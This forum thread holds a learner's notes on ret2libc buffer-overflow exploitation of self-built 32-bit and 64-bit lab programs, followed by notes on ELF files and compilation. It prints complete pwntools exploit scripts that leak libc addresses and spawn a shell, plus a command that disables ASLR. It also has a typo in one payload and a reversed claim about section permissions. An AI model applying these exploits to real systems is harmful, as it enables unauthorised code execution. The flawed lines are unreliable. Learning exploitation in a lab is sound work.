正常程序正常流程来:
  1. gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c
复制代码
查看保护机制:
正如ret2syscall那篇文章,我们先对9.exe使用ROPgadget找一些可以使用的gadgets:
可以发现并没有出现。为什么呢?
我就重新对比了之前7.exe程序和9.exe程序,发现了一个我无法解释的问题(虽然我懂得也不多)。一般来说,编译的时候一样,那么程序的保护机制应该就是一样的。但是:
再用另一种方法编译:
难道是引入的头文件不一样,但是我修改保持头文件一致后,还是一样的效果。
难道是这句话的作用:
  1. echo 0 > /proc/sys/kernel/randomize_va_space
复制代码
但是没有效果。
先遗留一个问题吧!
继续:
write函数:
可以看见我们call 0x8049030,同时可以看见我们的gets@plt。
这个就是我们今天的一个重点!使用以下语句查看PLT表:
  1. objdump -d -M intel -j .plt 9.exe
复制代码
  
可以看见在我们执行gets函数时,我们会先去到plt表,然后又会jmp到GOT里面的真实地址:0x804c00c
在没有看源代码的情况下,我们就可以发现该程序有一个用户可控输入:vul函数里面的gets函数。而这里的write函数可以利用起来帮我们打印指定字长的函数地址或者其他字符串等。此时我们查询一下gets函数所在数组的溢出长度:
  
查看溢出位置为:
构建本文的python脚本是一个难点。作为初学者,有时候甚至从python脚本里面倒推溢出利用过程。
构建脚本的思想是
1.获得程序调用的一个libc函数的在程序里的真实地址:此处write函数可以将gets函数打印出来
2.获得这个函数(gets)在libc文件里的偏移地址
3.通过相减得到libc在程序里的加载地址
4.知晓system函数在libc的偏移,就可以知道system函数的真实地址
那么怎么获取那些函数的偏移呢?
这个时候我们就要获取ELF文件的libc库了。
此时/lib/i386-linux-gnu/libc.so.6就是我们要寻找的库。
即我们可以通过找到system与/bin/sh在libc文件里的偏移地址,然后又找到libc文件在程序里的加载地址,之后分别求取system与/bin/sh在程序里的加载位置system_addr与/bin/sh_addr。
那么我们的python脚本有:
  1. from pwn import *
  2. context(arch="i386",os="linux")
  3. p=process("9.exe")
  4. e=ELF("9.exe")
  5. addr_write=e.plt["write"]
  6. addr_gets=e.got["gets"]
  7. addr_vul=e.symbols["vul"]  #自定义函数不会再plt以及got里面
  8. print pidof(p)
  9. offset=22
  10. pause()
  11. payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
  12. #第一次溢出,利用程序本身的write函数,打印gets加载的真实地址,并跳转重新运行vul,以便第二次溢出利用
  13. p.sendlineafter("sinxx",payload1)#输完sinxx,再输入payload1
  14. gets_real_addr=u32(p.recv(4))#得到gets的真实地址
  15. libc=ELF("/lib/i386-linux-gnu/libc.so.6")
  16. rva_libc=gets_real_addr-libc.symbols["gets"]        #得到libc在程序里的加载地址,每次加载程序的真实地址在改变,而映射出的相对地址是不变的
  17. addr_system=rva_libc+libc.symbols["system"]         #根据system偏移和加载地址确定
  18. addr_binsh=rva_libc+libc.search("/bin/sh").next()   #由于/bin/sh是字符串,所以不能采用libc.symbols["gets"]这样对待函数的方法
  19. payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)#再次溢出
  20. p.sendline(payload2)
  21. p.interactive()
复制代码
执行一次:
参考链接:
https://www.freebuf.com/news/182894.html
https://blog.csdn.net/qq_18661257/article/details/54694748

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-10 22:46:57 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-12 18:04 编辑

0x0a 64位程序调试过地址随机化
回顾前面我们已经学过的:
  1. 0x01缓冲区溢出攻击保护机制
  2. 0x02 常用gdb调试命令
  3. 0x03 溢出点位置定位
  4. 0x04 64位程序调试的关键
  5. 0x05 ret2libc技术与 attach调试
  6. 0x06 canary机制及绕过策略
  7. 0x07 ropgadgets与ret2syscall技术原理
  8. 0x08 ret2shellcode
  9. 0x09 过地址随机化之ret2libc
复制代码
在上一讲,我完成了32位程序调试过地址随机化。不过,似乎之前的学习几乎都是使用的-m32。虽然在《0x04 64位程序调试的关键》提到过,但是当时提出的知识点太少了,所以是时候掌握64位的相关知识以及32位与64位的区别。
最开始我连x64与x86都分不清谁是32位,谁又是64位?今日才明白x86表示32位操作系统。突然很疑惑,64位系统叫x64,32位系统为什么不叫x32,而是x86呢?特地百度了一番:
“x86,x64,看似写法类似,但实际上代表了完全不同的含义。简单来说,x86指的是cpu的架构,x64是cpu位数。笼统的说,前者代表cpu的逻辑结构,后者是cpu运算能力。除了x86架构的cpu外,还有很多不同架构的cpu,其中最有名的就是IA架构,即intel安腾架构。两者之间的系统、软件不能通用。而x64的全称叫x86-64,也就是说x64是x86架构的64位cpu。IA架构下的cpu命名则比较严谨,32位就叫IA32,64就叫IA64。”
32位与64位最大的不同之处有两个:
1.寄存器的大小和数目。寄存器大小从原来的32位变成64位,并且还增加了8个通用寄存器(r8~r15)。此外,64位程序使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常,这个我不知道怎么算?
2.函数参数的传递方式。在x86中,我们操作过程中可以知道参数都是保存在栈上,但在今天的x64中,我们已经了解到了64位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递 而不是通过栈, 来获得更高的运行速度。在Linux_x64平台下,函数的前六个参数则从左到右依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。
(支持部分寻址)
简单例子引入:
新建一个ex.c,用来观察函数参数传递变化
接下来,我们还是利用上一次的程序进行64位调试:
  1. gcc -no-pie -fno-stack-protector -static -o 10.exe 10.c
复制代码
当我ldd 10.exe时:
刚开始不知道原因,后来才发现static:
重新:
  1. gcc -no-pie -fno-stack-protector -o 10.exe 10.c
复制代码
在上面图示中,我们可以得到:
libc加载基地址为0x00007f72f317e000
  1. gdb 10.exe
  2. start
  3. disass vul
复制代码
  1. objdump -d -M intel -j .plt 10.exe
复制代码
  1. cyclic 100
  2. r
复制代码
这个时候我们就要找出溢出位置长度。但是此时就不能在rip找出溢出字符串了:
在0x04中,我们讲过可以在栈顶看前四位:
这样就得到了我们的溢出长度。
现在就是构建脚本了。
在x86-32中,我们构建payload是在栈作为函数参数的载体而对栈进行的任意改写。
但是在x86-64里面,我们的参数是通过寄存器来传递的,所以构建payload的时候肯定要用到寄存器。
原理应该与32位的一样:找出gets函数的真实地址,然后利用相对偏移等找出system的地址以及“/bin/sh”。
由于64位寄存器传参的特性,我们需要把相应的参数值保存到相应寄存器中供后续函数进行调用(谨记:64位程序寄存器存参数的顺序为:rdi,rsi,rdx,rcx,r8,r9)。所以我们先使用Ropgadgets来寻找可用的gadgets(跳板指令)的片段来达到控制寄存器的目的。
那就找找吧!
  1. ROPgadget --binary 10.exe --only "pop|ret"
复制代码
  1. 0x00000000004011db : pop rdi ; ret
  2. 0x00000000004011d9 : pop rsi ; pop r15 ; ret
复制代码
直接看看python脚本吧:
  1. from pwn import *
  2. #context(arch="amd64",os="linux",log_level="debug")#arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
  3. p=process("./10.exe")
  4. e=ELF("./10.exe")
  5. addr_write=e.plt["write"]
  6. addr_gets=e.got["gets"]
  7. addr_vul=e.symbols["vul"]
  8. addr_rdi=0x4011db
  9. addr_rsi=0x4011d9

  10. offset=18

  11. #print pidof(p)
  12. pause()

  13. payload1=offset*'a'+p64(addr_rdi)+p64(1)+p64(addr_rsi)+p64(addr_gets)+p64(1)+p64(addr_write)+p64(addr_vul)
  14. p.sendlineafter("sinxx",payload1)

  15. #gets_real_addr=u64(p.recv(8))
  16. gets_real_addr=u64(p.recv()[:8])

  17. print hex(gets_real_addr)

  18. libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
  19. rva_libc=gets_real_addr-libc.symbols["gets"]
  20. addr_system=rva_libc+libc.symbols["system"]
  21. addr_binsh=rva_libc+libc.search("/bin/sh").next()

  22. payload2=offset*'a'++p64(addr_rdi)+p64(addr_binsh)+p64(addr_system)
  23. p.sendline(payload2)
  24. p.interactive()
复制代码
(gadgets中的pop rsi ; pop r15 ; ret多了pop r15 ; ret是没有关系的,毕竟write函数调用的时候只用3个参数,不会使用到r15寄存器。不过我还是有一个小疑问,这里payload1的第二个p64(1)的用法还是说不清)
执行:
这样我们就成功用64位过地址随机化了。
总结一下吧!果然还是要多看,多练习。当然在此基础上我们还要牢牢掌握前面溢出最基本的利用。俗话说,熟能生巧,希望我的技术能达到那个水平。(哈哈哈)
参考链接:
  1. https://cloud.tencent.com/developer/article/1037874
  2. http://blog.sina.com.cn/s/blog_6053551a0102x5my.html
  3. https://evilpan.com/2018/04/15/x64-stack-exploit/
复制代码

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-12 21:44:29 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-14 00:15 编辑

0x0b溢出实验背后的那些事
溢出实验学习了一段时间,基本原理还是懂了!但是吧,一直让我头疼的就是溢出实验背后的那些专业词:什么ELF、PE,又或者什么可执行文件、目标文件。。。。。。
所以今天打算具体了解,以便在今后的学习中,遇到这些名词不会懵。(反正总是要接触的)
所有程序员最开始接触的第一个代码就是输出hello world!今天我们也依旧以这个例子来探究这背后的奥秘:
接下来我们使用gcc命令编译这个源代码:
可以看见我们已经成功运行。
但是最初写这个代码只是为了打印出字符串,并没有关注这后面的原理。现在已经计算机专业接近两年了,所以有必要提升一下自己,扩展一些知识面。
当我们使用gcc编译我们的源代码时,我们看到的一气呵成其实对于计算机来说,历经了不少的过程:预处理、编译、汇编、链接。
1、预处理
gcc -E hello.c -o hello.i(-E表示只进行预处理)
hello.i文件内容很多,在文件的内容最后我们才看见我们写的一些源代码:
那么预处理源代码处理的什么呢?
(1)将头文件(#include<stdio.h>)用其内容来替换该头文件名。
不过,有时候我们也会看到使用双引号的头文件#include"stdio.h",那么使用一对尖括号和双引号有什么区别呢?
使用一堆尖括号时,预处理器直接到存放编译器所提供的标准头文件的目录(通常是include子目录)中寻找文件;如果文件名是用一对引号括起来的,则预处理器首先在当前目录中查找文件,如果找不到,再按操作系统的path命令设置的自动搜索路径进行查找,最后才到存放编译器所提供的标准头文件的目录中查找。
(2)去掉“//”和“/* */”的注释
(3)将所有“#define”删除,并且展开所有的宏定义。
(4)处理“#if”、“#ifdef”、“#elif”、“#else”、“#endif”等条件预编译指令。
2、编译:将预处理完的hello.i文件经过一系列词法分析、语法分析、语义分析及优化后生成的相应汇编文件。
gcc -S hello.i -o hello.s
这个时候我们似乎能看懂一些了,里面有许多的汇编指令。
所以,编译这个过程简言之就是检查语法,生成汇编。
3、汇编
(最开始蛮疑惑的,上一个步骤不是已经生成汇编了吗)
原来此处的汇编过程是将hello.s生成机器可以执行的指令,每一个汇编语句都对应着一条机器指令。这就是我们之前提取shellcode机器码时所看到的。
gcc -c hello.s -o hello.o
当然我们也可以直接从源代码输出hello.o:
gcc -c hello.c -o hello.o
乱码了。。。。。。

到目前为止,我们经历了预处理、编译、汇编三个过程,此时我们得到的hello.o就是目标文件。
4、链接
将目标文件与库函数进行链接后,我们得到的就是可执行文件。
链接又可分为静态链接与动态链接
(1)静态链接是指把要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分。程序运行的时候就可以直接使用,以便达到执行速度快的优点。但是静态链接会占用很大的空间。(在gcc溢出实验编译源文件时,我们会使用-static参数确保可执行文件是静态链接)
(2)动态链接则是将所调用函数的描述信息(往往是一些重定位信息)拷贝到应用程序的可执行文件中去。所以只有当我们的应用程序被装入内存开始运行时,才在应用程序与相应的DLL之间建立链接关系。即,可执行文件会根据所要执行的DLL中的函数时以及链接产生的重定位信息,Windows才转去执行DLL中相应的函数代码。
----------------------------
上面提到目标文件和可执行文件,那么我们又来围绕这两个展开讨论。
在没有经过链接的文件称为目标文件,一旦链接就是可执行文件了。
其实,这两者的格式是很类似的,即目标文件的存储结构是按照可执行文件的格式存储的,只是没有经过链接,一些符号和地址也就没有进行调整。
在本文最开始的hello.c文件中,操作环境是在Linux平台,此时的可执行文件是ELF文件格式:
在windows平台下,可执行文件就是PE文件格式。
那么可执行文件(目标文件)的格式是什么呢?
首先明确,可执行文件(目标文件)是以不同“节”的形式存储不同信息,有时候成为“段”
对上面文件稍作修改:
上图大致表示了可执行文件(目标文件)存在的主要几个段段,不过存储顺序是:
file_header:包含整个文件的文件属性。
.text
.data
.bss(不占磁盘空间)
其中,值得一提的是,当我们把源文件编译成目标文件后,又习惯分成两种段:程序指令(.text)和程序数据(.data /.bss)。为什么这么做呢?主要有以下三点:
(1)在于赋予程序指令段的权限是可读写的,而程序数据段是只读的,这样起到了一定的程序安全(在缓冲区溢出实验深有体会)
(2)提高对CPU的缓存命中率
(3)节省内存
(不过最后一点挺复杂的,有兴趣的自己百度哟)
在Linux里面我们可以使用objdump命令查看目标文件内容:
重新编译(不链接)一下(-m32表示编译成32位,-c只编译不链接):
gcc -c -m32 hello.c -o hello.o
然后再使用objdump工具查看目标文件的结构和内容
objdump -h hello.o(-h表示将ELF文件的各个段的基本信息打印出来)
从上面可以捕获到的信息是段的长度和段所在的位置。
我们也可以使用size获取长度:
size hello.o
其中dec表示三个段总长度(十进制),而hex是十六进制。
此外,我们也可以使用readelf 命令来查看ELF:
readelf -h hello.o

参考链接:
https://blog.csdn.net/weixin_41143631/article/details/81221777
https://www.cnblogs.com/cyyljw/p/10949660.html
《程序员的自我修养》

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

34

主题

120

帖子

559

积分

高级会员

Rank: 4

积分
559
 楼主| 发表于 2020-4-14 09:06:30 | 显示全部楼层
本帖最后由 wholesome 于 2020-4-15 16:56 编辑

由于格式问题,不能在这个留言板上采用指数形式,故直接上图片:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-5-26 16:28 , Processed in 0.021328 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表